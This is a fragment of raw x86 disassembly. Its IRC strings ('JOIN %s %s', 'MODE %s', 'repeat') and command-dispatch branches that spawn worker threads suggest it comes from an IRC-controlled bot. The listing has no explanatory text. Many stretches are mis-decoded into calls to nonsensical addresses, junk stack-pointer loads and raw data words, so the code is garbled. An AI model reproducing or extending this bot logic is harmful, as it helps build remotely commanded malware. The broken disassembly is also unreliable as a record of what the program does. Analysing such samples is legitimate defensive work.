		movzx	eax, byte ptr [ebp-9AFh]
		mov	esi, [ebp+0Ch]
		push	7Fh
		push	dword ptr [ebp-8Ch]
		mov	[ebp-574h], eax
		lea	eax, [ebp-808h]
		mov	[ebp-80Ch], esi
		push	eax
		call	sub_416D20
		mov	eax, [ebp-4]
		push	dword ptr [ebp+20h]
		mov	[ebp-56Ch], eax
		mov	eax, [ebp-8]
		mov	[ebp-570h], eax
		push	edi
		lea	eax, [ebp-2C8h]
		push	offset unk_434AE4
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp-2C8h]
		push	15h
		push	eax
		call	sub_414F79
		add	esp, 28h
		mov	[ebp-588h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-80Ch]
		push	ebx
		push	eax
		push	offset loc_40BCD3
		push	ebx
		push	ebx
		call	near ptr 8E39E0E4h
		mov	esp, 0FA788D8Bh
; ---------------------------------------------------------------------------
		db 2 dup(0FFh),	69h
		dd 234C9h, 89C33B00h, 43F50C81h, 39167400h, 0FFFA989Dh
		dd 7D850FFFh, 6AFFFFF6h, 6015FF32h, 0EB004210h,	8815FFEAh
		dd 50004210h, 434A9068h, 1F2E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_41056A:				; CODE XREF: seg000:0040F386j
					; seg000:0040F39Dj
		push	7Fh
		lea	eax, [ebp-774h]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_416D20
		push	esi
		lea	eax, [ebp-6F4h]
		push	dword ptr [ebp+20h]
		push	eax
		call	sub_416D20
		push	esi
		lea	eax, [ebp-674h]
		push	dword ptr [ebp+8]
		push	eax
		call	sub_416D20
		push	esi
		lea	eax, [ebp-5F4h]
		push	dword ptr [ebp-8Ch]
		push	eax
		call	sub_416D20
		mov	eax, [ebp-8]
		push	dword ptr [ebp+8]
		mov	esi, [ebp-4]
		mov	[ebp-56Ch], eax
		mov	eax, [ebp+0Ch]
		push	dword ptr [ebp+20h]
		mov	[ebp-778h], eax
		lea	eax, [ebp-2C8h]
		push	edi
		push	offset dword_434A50
		push	eax
		mov	[ebp-570h], esi
		call	sub_4154CD
		add	esp, 44h
		lea	eax, [ebp-2C8h]
		push	ebx
		push	0Bh
		push	eax
		call	sub_414F79
		add	esp, 0Ch
		mov	[ebp-574h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-778h]
		push	ebx
		push	eax
		push	40182Eh
		push	ebx
		push	ebx
		call	near ptr 39C3D70Bh
		imul	ecx, [ebx-57373h], 34C969FFh
		add	al, [eax]
		add	[ebx], bh
		retn
; ---------------------------------------------------------------------------
		mov	ds:dword_43F50C[ecx], eax
		jz	short loc_41063D


loc_41062B:				; CODE XREF: seg000:0041063Bj
		cmp	[ebp-568h], ebx
		jnz	short loc_410658
		push	32h
		call	ds:dword_421060
		jmp	short loc_41062B
; ---------------------------------------------------------------------------


loc_41063D:				; CODE XREF: seg000:00410629j
		call	ds:dword_421088
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_434A04
		push	eax
		call	sub_4154CD
		add	esp, 0Ch


loc_410658:				; CODE XREF: seg000:00410631j
		cmp	[ebp-8], ebx
		jnz	loc_412834
		push	ebx
		push	esi
		jmp	loc_40F7A2
; ---------------------------------------------------------------------------


loc_410668:				; CODE XREF: seg000:0040F341j
					; seg000:0040F358j ...
		push	7Fh
		lea	eax, [ebp-7F0h]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_416D20
		push	esi
		lea	eax, [ebp-770h]
		push	dword ptr [ebp+20h]
		push	eax
		call	sub_416D20
		push	esi
		lea	eax, [ebp-6F0h]
		push	dword ptr [ebp+8]
		push	eax
		call	sub_416D20
		push	esi
		lea	eax, [ebp-670h]
		push	dword ptr [ebp-8Ch]
		push	eax
		call	sub_416D20
		push	20h
		lea	eax, [ebp-5F0h]
		push	dword ptr [ebp+10h]
		push	eax
		call	sub_416D20
		mov	eax, [ebp-4]
		push	dword ptr [ebp+8]
		mov	esi, [ebp+0Ch]
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		push	dword ptr [ebp+20h]
		mov	[ebp-56Ch], eax
		lea	eax, [ebp-2C8h]
		push	edi
		push	offset unk_4349C0
		push	eax
		mov	[ebp-7F8h], esi
		call	sub_4154CD
		add	esp, 50h
		lea	eax, [ebp-2C8h]
		push	ebx
		push	0Ah
		push	eax
		call	sub_414F79
		add	esp, 0Ch
		mov	[ebp-7F4h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-7F8h]
		push	ebx
		push	eax
		push	offset start
		push	ebx
		push	ebx
		call	near ptr 2D2A6261h
		pop	eax
		mov	ecx, [ebp-7F4h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F50C[ecx], eax
		jz	short loc_410750


loc_41073A:				; CODE XREF: seg000:0041074Ej
		cmp	[ebp-568h], ebx
		jnz	loc_40FBCC
		push	32h
		call	ds:dword_421060
		jmp	short loc_41073A
; ---------------------------------------------------------------------------


loc_410750:				; CODE XREF: seg000:00410738j
		call	ds:dword_421088
		push	eax
		push	offset unk_434974


loc_41075C:				; CODE XREF: seg000:0040FBAEj
					; seg000:0040FCF9j
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154CD
		jmp	loc_40FBC9
; ---------------------------------------------------------------------------


loc_41076D:				; CODE XREF: seg000:0040F313j
					; seg000:0040F32Aj
		push	7Fh
		lea	eax, [ebp-444h]
		push	edi
		push	eax
		call	sub_416D20
		push	dword ptr [ebp+20h]
		call	sub_415A3F
		push	3Fh
		mov	[ebp-2F4h], eax
		push	dword ptr [ebp+8]
		lea	eax, [ebp-3C4h]
		push	eax
		call	sub_416D20
		mov	esi, [ebp+esi-84h]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_4107BB
		push	3Fh
		lea	eax, [ebp-384h]
		push	esi
		push	eax
		call	sub_416D20
		add	esp, 0Ch


loc_4107BB:				; CODE XREF: seg000:004107A7j
		lea	eax, [ebp-3C4h]
		mov	dword ptr [ebp-2F0h], 1
		push	eax
		lea	eax, [ebp-444h]
		push	dword ptr [ebp-2F4h]
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset unk_434930
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	17h
		push	eax
		call	sub_414F79
		add	esp, 20h
		mov	[ebp-2ECh], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-448h]
		push	ebx
		push	eax
		push	offset sub_40CB59
		push	ebx
		push	ebx
		call	near ptr 5682EFFCh
		xlat
		mov	ecx, [ebp-2ECh]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F50C[ecx], eax
		jz	short loc_410847


loc_410831:				; CODE XREF: seg000:00410845j
		cmp	[ebp-2E8h], ebx
		jnz	loc_40F6F7
		push	32h
		call	ds:dword_421060
		jmp	short loc_410831
; ---------------------------------------------------------------------------


loc_410847:				; CODE XREF: seg000:0041082Fj
		call	ds:dword_421088
		push	eax
		push	offset unk_4348E4
		jmp	loc_40F6E8
; ---------------------------------------------------------------------------


loc_410858:				; CODE XREF: seg000:0040F2D3j
					; seg000:0040F2EAj
		push	dword ptr [ebp+20h]
		call	sub_415A3F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-578h], eax
		jle	loc_410949
		mov	esi, 80h
		push	edi
		lea	eax, [ebp-700h]
		push	esi
		push	eax
		call	sub_415A4A
		xor	eax, eax
		cmp	[ebp-9A2h], bl
		push	dword ptr [ebp-8Ch]
		setnz	al
		mov	[ebp-574h], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-704h], eax
		lea	eax, [ebp-600h]
		push	esi
		push	eax
		call	sub_415A4A
		mov	eax, [ebp-4]
		push	dword ptr [ebp+20h]
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		mov	[ebp-56Ch], eax
		push	edi
		push	offset unk_4348A4
		lea	eax, [ebp-2C8h]
		push	200h
		push	eax
		call	sub_415A4A
		push	ebx
		lea	eax, [ebp-2C8h]
		push	0Dh
		push	eax
		call	sub_414F79
		add	esp, 38h
		mov	[ebp-580h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-704h]
		push	ebx
		push	eax
		push	offset loc_401447
		push	ebx
		push	ebx
		call	near ptr 81A62732h
		cdq
		mov	ecx, [ebp-580h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F50C[ecx], eax
		jz	short loc_410938


loc_410922:				; CODE XREF: seg000:00410936j
		cmp	[ebp-568h], ebx
		jnz	loc_40F795
		push	32h
		call	ds:dword_421060
		jmp	short loc_410922
; ---------------------------------------------------------------------------


loc_410938:				; CODE XREF: seg000:00410920j
		call	ds:dword_421088
		push	eax
		push	offset unk_434858
		jmp	loc_40F786
; ---------------------------------------------------------------------------


loc_410949:				; CODE XREF: seg000:00410869j
		push	offset unk_43480C
		jmp	loc_412012
; ---------------------------------------------------------------------------


loc_410953:				; CODE XREF: seg000:0040F2A5j
					; seg000:0040F2BCj
		push	dword ptr [ebp+20h]
		push	edi
		call	near ptr 697D15F2h
		leave
		test	eax, eax
		jz	short loc_410980
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-2C8h]
		push	edi
		push	offset unk_4347D4
		push	200h
		push	eax
		call	sub_415A4A
		jmp	loc_4111A3
; ---------------------------------------------------------------------------


loc_410980:				; CODE XREF: seg000:0041095Fj
		push	offset dword_4347B4
		call	sub_409BEC
		push	eax
		lea	eax, [ebp-2C8h]
		push	200h
		push	eax
		call	sub_415A4A
		add	esp, 10h
		jmp	loc_40F795
; ---------------------------------------------------------------------------


loc_4109A4:				; CODE XREF: seg000:0040F277j
					; seg000:0040F28Ej
		push	edi
		lea	eax, [ebp-77Ch]
		push	104h
		push	eax
		call	sub_415A4A
		add	esp, 0Ch
		cmp	[ebp-0Ch], ebx
		jz	short loc_4109DE
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_415AA0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4109DE
		push	eax
		lea	eax, [ebp-678h]
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx


loc_4109DE:				; CODE XREF: seg000:004109BCj
					; seg000:004109CDj
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-7FCh]
		push	80h
		push	eax
		call	sub_415A4A
		mov	eax, [ebp+0Ch]
		mov	[ebp-800h], eax
		mov	eax, [ebp-4]
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		mov	[ebp-56Ch], eax
		lea	eax, [ebp-678h]
		push	eax
		lea	eax, [ebp-77Ch]
		push	eax
		push	offset unk_434770
		lea	eax, [ebp-2C8h]
		push	200h
		push	eax
		call	sub_415A4A
		push	ebx
		lea	eax, [ebp-2C8h]
		push	1Bh
		push	eax
		call	sub_414F79
		add	esp, 2Ch
		mov	[ebp-574h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-800h]
		push	ebx
		push	eax
		push	offset sub_40876C
		push	ebx
		push	ebx
		call	near ptr 19D779CAh
		fimul	word ptr [ebx-57373h]
		jmp	fword ptr [ecx-37h]
; ---------------------------------------------------------------------------
		db 34h,	2, 0
		dd 89C33B00h, 43F50C81h, 39167400h, 0FFFA989Dh,	0AD850FFFh
		dd 6A00001Dh, 6015FF32h, 0EB004210h, 8815FFEAh,	50004210h
		dd 43472068h, 1D83E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_410AA2:				; CODE XREF: seg000:0040F249j
					; seg000:0040F260j
		push	44h
		lea	eax, [ebp-48Ch]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_415550
		push	1
		mov	[ebp-48Ch], esi
		pop	esi
		mov	[ebp-45Ch], bx
		push	edi
		mov	[ebp-460h], esi
		call	sub_415A3F
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_410ADF
		mov	word ptr [ebp-45Ch], 5


loc_410ADF:				; CODE XREF: seg000:00410AD4j
		cmp	[ebp-0Ch], ebx
		jz	loc_40F6F7
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_415AA0
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_40F6F7
		lea	eax, [ebp-2D8h]
		push	eax
		lea	eax, [ebp-48Ch]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	near ptr 635E665Eh
		cmp	al, 85h
		sal	byte ptr [ebp+18h], 68h
		call	near ptr 8D414E6Ch ; CODE XREF:	seg000:00410CBCj
					; seg000:0041134Fj ...
		test	[eax], edi
		std
; ---------------------------------------------------------------------------
		db 2 dup(0FFh),	50h
; ---------------------------------------------------------------------------
		call	sub_4154CD
		pop	ecx
		pop	ecx
		jmp	loc_40F6F7
; ---------------------------------------------------------------------------
		push	edi
		push	offset unk_4346BC
		jmp	loc_40F6E8
; ---------------------------------------------------------------------------


loc_410B43:				; CODE XREF: seg000:0040F21Bj
					; seg000:0040F232j
		push	dword ptr [ebp+20h]
		push	offset aIds443v	; "ids443v"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410CB7
		lea	eax, [ebp-3E8h]
		push	eax
		push	104h
		call	near ptr 5B4A7D73h
		in	eax, 68h
		inc	dword ptr [eax]
; ---------------------------------------------------------------------------
		db 0
		dd 78858D00h, 57FFFFF8h, 61A2E850h, 858D0000h, 0FFFFFD1Ch
		dd 3582E850h, 8D500000h, 0FFFC1885h, 858D50FFh,	0FFFFF978h
		dd 4346B068h, 2AE85000h, 8B000049h, 0FF783584h,	0C483FFFFh
		dd 0C7C33B20h, 0FFFA7C85h, 1FFh, 809D8900h, 74FFFFFAh
		dd 53106A14h, 5E9FE850h, 0C4830000h, 8885890Ch,	0EBFFFFFAh
		dd 889D8906h, 8BFFFFFAh, 0FF7C35B4h, 0F33BFFFFh, 0E8560F74h
		dd 4E53h, 84858959h, 0EBFFFFFAh, 849D8906h, 0FFFFFFAh
		dd 0F65185B6h, 758BFFFFh, 0FF7F6A0Ch, 0FFFF74B5h, 8C8589FFh
		dd 8DFFFFFAh, 0FFF7F885h, 0F4B589FFh, 50FFFFF7h, 60FBE8h
		dd 0FC458B00h, 94858957h, 8BFFFFFAh, 8589F845h,	0FFFFFA90h
		dd 0FD38858Dh, 7068FFFFh, 50004346h, 4884E8h, 858D5600h
		dd 0FFFFFD38h, 0E850166Ah, 4321h, 8924C483h, 0FFFA7885h
		dd 0F0458DFFh, 0F4858D50h, 53FFFFF7h, 0BCD36850h, 53530040h
		dd 0FC6A3FE8h, 8D8BF6B1h, 0FFFFFA78h, 234C969h,	0C33B0000h
		dd 0F50C8189h, 16740043h, 0FA989D39h, 850FFFFFh, 0FFFFEA5Bh
		dd 15FF326Ah, 421060h, 15FFEAEBh, 421088h, 46206850h, 31E90043h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_410CB7:				; CODE XREF: seg000:00410B54j
		push	offset unk_4345C8
		jmp	near ptr loc_410B21+4
; ---------------------------------------------------------------------------


loc_410CC1:				; CODE XREF: seg000:0040F1EDj
					; seg000:0040F204j
		push	dword ptr [ebp-90h]
		push	offset dword_436440
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D1FD
		cmp	[ebp-0Ch], ebx
		jz	loc_40D1FD
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_415AA0
		push	eax
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp-90h]
		push	dword ptr [ebp-94h]
		push	offset dword_4345B8
		push	eax
		call	sub_4154CD
		lea	eax, [ebp-2C8h]
		push	1FFh
		push	eax
		push	dword ptr [ebp+8]
		call	sub_416D20
		push	edi
		call	sub_415A3F
		add	esp, 30h
		test	eax, eax
		jle	short loc_410D48
		push	edi
		call	sub_415A3F
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	ds:dword_421060


loc_410D48:				; CODE XREF: seg000:00410D32j
		push	offset dword_434590
		call	sub_40B151
		mov	eax, [ebp+2Ch]
		pop	ecx
		inc	eax
		jmp	loc_40D200
; ---------------------------------------------------------------------------


loc_410D5C:				; CODE XREF: seg000:0040F1BFj
					; seg000:0040F1D6j
		push	dword ptr [ebp-90h]
		push	offset dword_436440
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D1FD
		cmp	[ebp-0Ch], ebx
		jz	loc_412974
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_415AA0
		mov	esi, eax
		mov	eax, [ebp+20h]
		inc	eax
		push	offset aRepeat	; "repeat"
		push	eax
		call	sub_4158F0
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_410E18
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-90h]
		push	dword ptr [ebp-94h]
		push	offset dword_4345B8
		push	eax
		call	sub_4154CD
		lea	eax, [ebp-2C8h]
		push	1FFh
		push	eax
		push	dword ptr [ebp+8]
		call	sub_416D20
		push	esi
		lea	eax, [ebp-2C8h]
		push	offset dword_43455C
		push	eax
		call	sub_4154CD
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_40B151
		push	edi
		call	sub_415A3F
		add	esp, 38h
		test	eax, eax
		jle	loc_412974
		push	edi
		call	sub_415A3F
		add	eax, [ebp+2Ch]
		pop	ecx
		jmp	loc_40D200
; ---------------------------------------------------------------------------


loc_410E18:				; CODE XREF: seg000:00410DA1j
		push	offset dword_434514
		jmp	loc_40F6E8
; ---------------------------------------------------------------------------


loc_410E22:				; CODE XREF: seg000:0040F191j
					; seg000:0040F1A8j
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-2C8h]
		push	offset dword_43450C
		push	eax
		call	sub_4154CD
		push	edi
		call	sub_415A3F
		add	esp, 10h


loc_410E3F:				; CODE XREF: seg000:00410EA9j
		test	eax, eax
		jle	loc_412974
		push	edi
		call	sub_415A3F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_412974


loc_410E59:				; CODE XREF: seg000:0041173Ej
		lea	eax, [ebp-2C8h]
		push	eax
		push	offset dword_425050
		push	edi
		call	sub_415A3F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_43F504[eax]
		call	sub_412CEC


loc_410E7D:				; CODE XREF: seg000:004125D9j
		add	esp, 0Ch
		jmp	loc_412974
; ---------------------------------------------------------------------------


loc_410E85:				; CODE XREF: seg000:0040F163j
					; seg000:0040F17Aj
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp+20h]
		push	offset dword_434500
		push	eax
		call	sub_4154CD
		push	edi
		call	sub_415A3F
		add	esp, 14h
		jmp	short loc_410E3F
; ---------------------------------------------------------------------------


loc_410EAB:				; CODE XREF: seg000:0040F135j
					; seg000:0040F14Cj
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-2C8h]
		push	offset dword_4344F8
		push	eax
		call	sub_4154CD
		push	edi
		call	sub_415A3F
		add	esp, 10h
		test	eax, eax
		jle	loc_412974
		push	edi
		call	sub_415A3F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_412974
		lea	eax, [ebp-2C8h]
		push	eax
		push	offset dword_425050
		push	edi
		call	sub_415A3F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_43F504[eax]
		call	sub_412CEC
		push	dword ptr [ebp+20h]
		push	edi
		push	offset dword_4344C8


loc_410F0F:				; CODE XREF: seg000:00410F99j
					; seg000:00411004j ...
		call	sub_40B1C5


loc_410F14:				; CODE XREF: seg000:004122A9j
		add	esp, 18h
		jmp	loc_412974
; ---------------------------------------------------------------------------


loc_410F1C:				; CODE XREF: seg000:0040F107j
					; seg000:0040F11Ej
		cmp	[ebp-0Ch], ebx
		jz	loc_412974
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_415AA0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_410F4D
		push	esi
		lea	eax, [ebp-2C8h]
		push	offset dword_4344C0
		push	eax
		call	sub_4154CD
		add	esp, 0Ch


loc_410F4D:				; CODE XREF: seg000:00410F36j
		push	edi
		call	sub_415A3F
		test	eax, eax
		pop	ecx
		jle	loc_412974
		push	edi
		call	sub_415A3F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_412974
		lea	eax, [ebp-2C8h]
		push	eax
		push	offset dword_425050
		push	edi
		call	sub_415A3F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_43F504[eax]
		call	sub_412CEC
		push	esi
		push	edi
		push	offset dword_434490
		jmp	loc_410F0F
; ---------------------------------------------------------------------------


loc_410F9E:				; CODE XREF: seg000:0040F0D9j
					; seg000:0040F0F0j
		cmp	[ebp-0Ch], ebx
		jz	loc_412974
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_415AA0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_412974
		push	edi
		call	sub_415A3F
		test	eax, eax
		pop	ecx
		jle	loc_412974
		push	edi
		call	sub_415A3F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_412974
		push	esi
		push	offset dword_425050
		push	edi
		call	sub_415A3F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_43F504[eax]
		call	sub_412CEC
		push	esi
		push	edi
		push	offset dword_434460
		jmp	loc_410F0F
; ---------------------------------------------------------------------------


loc_411009:				; CODE XREF: seg000:0040F0ABj
					; seg000:0040F0C2j
		cmp	[ebp-0Ch], ebx
		jz	loc_412974
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_415AA0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_412974
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		push	esi
		push	offset dword_434424


loc_41103B:				; CODE XREF: seg000:004118E3j
					; seg000:004118FCj ...
		call	sub_40B1C5


loc_411040:				; CODE XREF: seg000:004110A9j
		add	esp, 14h
		jmp	loc_412974
; ---------------------------------------------------------------------------


loc_411048:				; CODE XREF: seg000:0040F07Dj
					; seg000:0040F094j
		push	dword ptr [ebp-90h]
		push	offset dword_436440
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D1FD
		push	dword ptr [ebp+20h]
		push	offset dword_434418
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		push	edi
		call	sub_415A3F
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	ds:dword_421060
		push	dword ptr [ebp+esi-88h]
		push	dword ptr [ebp+20h]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		push	offset dword_4343F0
		call	sub_40B151
		jmp	short loc_411040
; ---------------------------------------------------------------------------


loc_4110AB:				; CODE XREF: seg000:0040F04Fj
					; seg000:0040F066j
		cmp	[ebp-0Ch], ebx
		jz	loc_412974
		push	edi
		call	sub_415CD0
		push	dword ptr [ebp+10h]
		mov	esi, eax
		call	sub_415CD0
		add	eax, [ebp-0Ch]
		push	dword ptr [ebp+20h]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_415AA0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_412974
		push	esi
		lea	eax, [ebp-2C8h]
		push	offset dword_434C88
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	ebx
		push	eax
		push	edi
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		push	esi
		push	edi
		push	offset dword_4343C0
		call	sub_40B1C5
		add	esp, 2Ch
		jmp	loc_412974
; ---------------------------------------------------------------------------


loc_411119:				; CODE XREF: seg000:0040F021j
					; seg000:0040F038j
		cmp	[ebp-0Ch], ebx
		jz	loc_412974
		push	edi
		call	sub_415CD0
		push	dword ptr [ebp+10h]
		mov	esi, eax
		call	sub_415CD0
		add	eax, [ebp-0Ch]
		push	dword ptr [ebp+20h]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_415AA0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_412974
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		push	esi
		push	edi
		push	offset dword_434390
		call	sub_40B1C5
		jmp	loc_40FD49
; ---------------------------------------------------------------------------


loc_41116C:				; CODE XREF: seg000:0040EFF3j
					; seg000:0040F00Aj
		cmp	[ebp-0Ch], ebx
		jz	loc_40D1FD
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_415AA0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40D1FD
		push	eax
		push	edi
		call	sub_40B059
		push	edi
		lea	eax, [ebp-2C8h]
		push	offset dword_434360
		push	eax
		call	sub_4154CD


loc_4111A3:				; CODE XREF: seg000:0041097Bj
		add	esp, 14h
		jmp	loc_40F795
; ---------------------------------------------------------------------------


loc_4111AB:				; CODE XREF: seg000:0040EFB3j
					; seg000:0040EFCAj
		push	edi
		push	dword ptr [ebp+24h]
		call	sub_415AA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412974
		mov	esi, [ebp+esi-8Ch]
		cmp	esi, ebx
		jz	short loc_411248
		push	esi
		push	dword ptr [ebp-0Ch]
		call	sub_415AA0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_411230
		push	esi
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp-90h]
		push	dword ptr [ebp-94h]
		push	offset dword_4345B8
		push	eax
		call	sub_4154CD
		lea	eax, [ebp-2C8h]
		push	1FFh
		push	eax
		push	dword ptr [ebp+8]
		call	sub_416D20
		push	esi
		push	edi
		lea	eax, [ebp-2C8h]
		push	offset dword_434328
		push	eax
		call	sub_4154CD
		add	esp, 34h
		inc	dword ptr [ebp+2Ch]
		jmp	loc_4124BC
; ---------------------------------------------------------------------------


loc_411230:				; CODE XREF: seg000:004111D8j
		lea	eax, [ebp-2C8h]
		push	offset dword_4342E4
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx
		jmp	loc_4124BC
; ---------------------------------------------------------------------------


loc_411248:				; CODE XREF: seg000:004111C7j
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+24h]
		push	eax
		call	sub_40AD69
		add	esp, 0Ch
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		push	edi
		push	offset dword_4342B8
		lea	eax, [ebp-2C8h]
		push	200h
		push	eax
		call	sub_415A4A
		add	esp, 24h
		jmp	loc_4124BC
; ---------------------------------------------------------------------------


loc_41128F:				; CODE XREF: seg000:0040E9B8j
					; seg000:0040E9CFj
		push	offset aR	; "r"
		push	edi
		call	sub_415BC8
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_411309
		mov	ebx, 200h
		push	esi
		lea	eax, [ebp-2C8h]
		push	ebx
		push	eax
		call	sub_41711C
		add	esp, 0Ch


loc_4112B8:				; CODE XREF: seg000:004112E7j
		test	eax, eax
		jz	short loc_4112E9
		push	1
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		push	esi
		lea	eax, [ebp-2C8h]
		push	ebx
		push	eax
		call	sub_41711C
		add	esp, 20h
		jmp	short loc_4112B8
; ---------------------------------------------------------------------------


loc_4112E9:				; CODE XREF: seg000:004112BAj
		push	esi
		call	sub_415B20
		push	edi
		lea	eax, [ebp-2C8h]
		push	offset dword_434280
		push	eax
		call	sub_4154CD
		add	esp, 10h
		jmp	loc_40EF8B
; ---------------------------------------------------------------------------


loc_411309:				; CODE XREF: seg000:004112A0j
		push	edi
		push	offset dword_43424C
		jmp	loc_41284F
; ---------------------------------------------------------------------------


loc_411314:				; CODE XREF: seg000:0040E98Aj
					; seg000:0040E9A1j
		cmp	[ebp-0Ch], ebx
		jz	loc_412974
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_415AA0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_412974
		push	offset asc_426C7C ; "\n"
		push	esi
		call	sub_415BF0
		push	esi
		call	sub_40A5CD
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_411354
		push	offset dword_43420C
		jmp	near ptr loc_410B21+4
; ---------------------------------------------------------------------------


loc_411354:				; CODE XREF: seg000:00411348j
		push	esi
		push	offset dword_4341E0
		jmp	loc_4124AD
; ---------------------------------------------------------------------------


loc_41135F:				; CODE XREF: seg000:0040E95Cj
					; seg000:0040E973j
		cmp	[ebp-0Ch], ebx
		jz	loc_412974
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_415AA0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_412974
		push	eax
		call	loc_409CB1
		test	eax, eax
		pop	ecx
		jnz	short loc_411390
		push	offset unk_4341B0
		jmp	near ptr loc_410B21+4
; ---------------------------------------------------------------------------


loc_411390:				; CODE XREF: seg000:00411384j
		push	offset dword_434180
		jmp	near ptr loc_410B21+4
; ---------------------------------------------------------------------------


loc_41139A:				; CODE XREF: seg000:0040E92Ej
					; seg000:0040E945j
		push	7Fh
		lea	eax, [ebp-6F4h]
